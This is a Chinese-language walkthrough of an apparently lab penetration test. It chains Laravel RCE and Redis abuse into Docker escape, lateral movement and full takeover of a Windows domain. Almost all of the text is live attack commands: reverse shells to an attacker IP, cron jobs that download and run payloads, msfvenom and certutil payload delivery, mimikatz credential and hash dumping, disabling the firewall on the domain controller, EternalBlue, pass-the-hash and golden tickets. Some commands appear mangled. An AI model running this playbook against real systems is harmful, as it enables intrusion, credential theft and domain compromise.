http://192.168.0.130:81/
尝试使用之前知道的larvel开启调试模式导致敏感信息泄露的漏洞。
发现没有暴露出太多的信息。
Goby扫描出漏洞:larvel的rce 和 redis未授权访问。
使用goby命令执行进行反弹shell 提权
获取到的是jobs的权限
(后面发现是web2的docker容器)
Kali:nc -lvp 8065
Goby:bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
命令:find / -perm -u=s -type f 2>/dev/null #能发现具有高权限的文件,发现/home/jobs 下存在名为shell的可疑高权限文件 cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序 cd /home/jobs ./shell
# 然后就获得了root权限,可以执行命令了。
Redis提权
获取到的是ubuntu的权限
1.写公钥文件并上传至web1-redis的shell键中
2.将redis的备份目录为/root/.ssh 并 修改保存文件名,写公钥需要redis以root权限启动,前面没有以root权限启动就报 “权限不足“的错误,后面web1虚拟机修改为root权限启动就ok了。
3.连接目标(直接获得root权限)
ssh 192.168.0.130
4.信息收集
这获取到的是DMZ主机的权限,内网是192.168.52.1/24网段。
在/etc/nginx/conf.d目录下发现进行了nginx反向代理,将内网的192.168.52.20:8000代理到外网192.168.0.130:81上面。
Docker逃逸
利用Docker特权模式逃逸
1.特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。 2.使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。 3.当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
首先我们现在docker中新建一个/hack目录用来挂载文件:
命令:
fdisk -l #查看磁盘文件
mkdir /hack # 新建一个/hack目录用来挂载文件 ls /
ls /dev #查看设备文件
将 /dev/sda1 挂载到/hack目录里,就能读取/dev/sda1里的文件了(本地文件,非容器)
mount /dev/sda1 /hack
使用 ls /hack 查看是否挂载成功
如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的。
在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。
发现ubuntu用户进行写公钥等操作
再进行一次反弹shell,好看一点,
我们就能再docker容器里查看本地目录的东西了,发现home目录下的ubuntu用户。
至此我们逃逸出docker容器,权限还是不够,只是能够访问本地文件、写文件等操作(对web2)却不能执行进一步的命令,所以需要进一步的提权。
以下两种:
1.在/hack/home/ubuntu/.ssh目录下写入公钥文件(redis提权的web1生成公钥)
we1命令:
ssh-keygen -f hello #写公钥和私钥 chmod 600 hello #赋予权限 cat hello.pub # 获取公钥内容
web2命令:
echo 'cat hello.pub文件的内容' > /hello/home/ubuntu/.ssh/authorized_keys
注:IP-192.168.52.20是查看nginx反向代理发现的内网IP
发现192.168.93.1/24网段
2. 写入计划任务进行反弹shell
计划任务:
a.msf
echo '* * * * * wget -qO 9Q18YaP8 --no-check-certificate http://192.168.0.133:8080/wE22Kdz1bsdKfdl; chmod x 9Q18YaP8; ./9Q18YaP8& disown' >> /hack/var/spool/cron/crontabs/root
b.反弹shell
echo '* * * * * bash -i >& /dev/tcp/192.168.0.133/1233 0>&1' >> /hello/var/spool/cron/root
总结: Web1(第一层):IP(192.168.0.130 和 192.168.52.10) redis公钥提权获得 Web2(第二层):IP(192.168.52.20和192.168.93.10) larvel-rce反弹shell再提权到root权限,然后通过docker逃逸写公钥再使用第一层web1主机进行ssh私钥连接
Linux kernel特权提升漏洞(CVE-2021-3493)
Exp:https://github.com/briskets/CVE-2021-3493
获得web2的ubuntu用户并不是root权限,
查看内核,
touch exploit.c # 创建文件以后将exp的内容写入其中,
获得root权限的web2。
内网渗透
内网探测
1.msf上线
use exploit/multi/script/web_delivery set target 7 set lhost 192.168.0.133 set payload linux/x64/meterpreter/reverse_tcp run
获得wget -qO hnTYkmsn --no-check-certificate http://192.168.0.133:8080/uWvSlqPnjRoGe6S; chmod x hnTYkmsn; ./hnTYkmsn& disown 语句,然后在root权限的web1和web2上面执行就能上线msf,获得sessions。
1.1尝试fscan探测
上传至web1的/tmp目录进行探测
sessions 1 upload /home/test/桌面/fscan_amd64 shell chmod x fscan_amd64 ./fscan_amd64 -h 192.168.52.1/24
发现192.168.52.30主机
1.2使用msf自带的模块进行探测
# 自动添加路由
run post/multi/manage/autoroute run autoroute -p
或者
# 手动添加路由
route add 192.168.52.0 255.255.255.0 route print
目的添加一个通往192.168.52.1/24网段的路由
use auxiliary/scanner/discovery/arp_sweep
use auxiliary/scanner/discovery/udp_probe
内网穿透-1
使用ew进行内网穿透(文件上传:在meterpreter进行upload /home/test/桌面/ew/ew_for_linux64)。
命令:
攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234 靶机web1:nohup ./ew_for_linux64 -s rssocks -d 192.168.0.133 -e 1234 &
将本机的1080端口的请求转发到1234端口上面,靶机对我们本机的1234端口进行连接。
发现是11.3版本的
http://192.168.52.30:8080/inc/expired.php
任意文件上传—>上传一个图片码,
文件包含à将上传的图片码进行文件包含,
详细了解查看这篇文章。
PC1-MSF上线
使用msfvenom生成木马
命令:msfvenom -p windows/meterpreter/bind_tcp lport=9091 -f exe > win7_9091.exe
将木马上传至web1,
Web1开启8080端口的http服务,
下载win7_9091.exe并重命名为exploit.exe
certutil.exe -urlcache -split -f http://192.168.0.130:8080/win7_9091.exe exploit.exe
运行以后会在本机开放9091端口进行监听,
使用handler模块进行正向连接(记得保持路由到52网段)
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp set lport 9091 set rhost 192.168.52.30
对PC1进行信息搜集
ipconfig /all # 查看本机ip,所在域 net view # 查看局域网内其他主机名
1.修改编码:chcp 65001
2.获取局域网其他主机名
3.发现域名
ping DC.whoamianony.org
ping PC2.whoamianony.org
DC:192.168.93.30
PC2:192.168.93.40
猕猴桃密码抓取
load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords
错误提示发现kiwi默认加载32位,不能接受64位。需要把meterpreter进程迁移到64的进程上面,才能加载64位的猕猴桃。
migrate 508
抓取到两个密码,一个是域控机的,一个是本地的(PC1)
Whoami2021 Bunny2021
关闭域控防火墙
获取到域控的账户密码了,直接开打
net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator" sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.30 start unablefirewall
获取DC
尝试写计划任务获取DC
# 添加路由 route add 192.168.93.0 255.255.255.0 route print
目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。
1.生成木马
msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe -o smb_8888.exe
2.上传木马到PC1
3.使用共享文件夹上传至域控主机
net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator" # 建立空连接 copy 8888.exe \192.168.93.30c$ # 上传至域控主机 net time \192.168.93.30# 查看主机当前时间
4.在域控机上面设置计划任务执行smb_8888木马
schtasks /create /s \192.168.93.30 /u Administrator /p Whoami2021 /tn test /tr C:smb_8888.exe /sc once /st 14:59
5.返回运行监听模块
尝试psexec获取DC
# 添加路由 route add 192.168.93.0 255.255.255.0 1 route print
目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。
使用exploit/windows/smb/psexec模块进行权限获取
set rhosts 192.168.93.30 set SMBUser Administrator set SMBPass Whoami2021 set payload windows/meterpreter/bind_tcp
经过查找发现需要更换target
成功获取DC的sessions
还剩下一台PC2。
永恒之蓝打PC2
内网穿透-2
进行第三层内网穿透
PC1(192.168.52.30和192.168.93.20)
(由于第一次的内网穿透使用的是web1相当于使用web1访问了其他52网段的机器,现在我们要进入93网段访问需要正向连接进行永恒之蓝攻击获取会话。因此需要使用pc1的192.168.93.20-IP进行内网穿透。我们主机是访问不了192.168.52.30,所以需要一个中间人web1)。
首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给9998端口,执行命令:
./ew_for_linux64 -s lcx_listen -l 1090 -e 9998
然后在第二层网络的Windows服务器PC1上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:
ew_for_Win.exe -s ssocksd -l 999
最后,在Web1上传的ew_for_linux64并利用lcx_slave方式,将攻击机的9998端口与第二层网络Windows 7的999端口连接起来,执行命令:
./ew_for_linux64 -s lcx_slave -d 192.168.0.133 -e 9998 -f 192.168.52.30 -g 999
ms17_010
setg Proxies socks5:127.0.0.1:1090 use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.93.40 set payload windows/x64/meterpreter/bind_tcp run
运行发现出现报错“Could not make SMBv1 connection”
解决方案:
service postgresql start service postgresql status
再次run。
5个sessions都成功获得。
尝试制作黄金票据和哈希传递,上传猕猴桃mimikatz.exe到域控主机上面。
命令:
privilege::debug lsadump::dcsync /user:krbtgt
提取sid和hash ntlm获取关键信息:
Object Security ID : S-1-5-21-1315137663-3706837544-1429009142-502
Hash NTLM: 6be58bfcc0a164af2408d1d3bd313c2a
哈希传递
到域成员PC1主机上面,上传猕猴桃并制作黄金票据,先试试哈希传递。
sekurlsa::logonpasswords
得到ntlm:ab89b1295e69d353dd7614c7a3a80cec
sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
随后应该会弹cmd框,但是这里看不到弹框,直接到PC1主机上面试试哈希传递效果(之前没搞过试试),以管理员身份运行猕猴桃.
dir \DC.whoamianony.orgc$
dir \DC.whoamianony.orgc$users
PsExec.exe \DC.whoamianony.org cmd.exe 即可反弹域控的shell
制作票据:
kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:administrator.kiribi
加载票据:
kerberos::ptt administrator.kiribi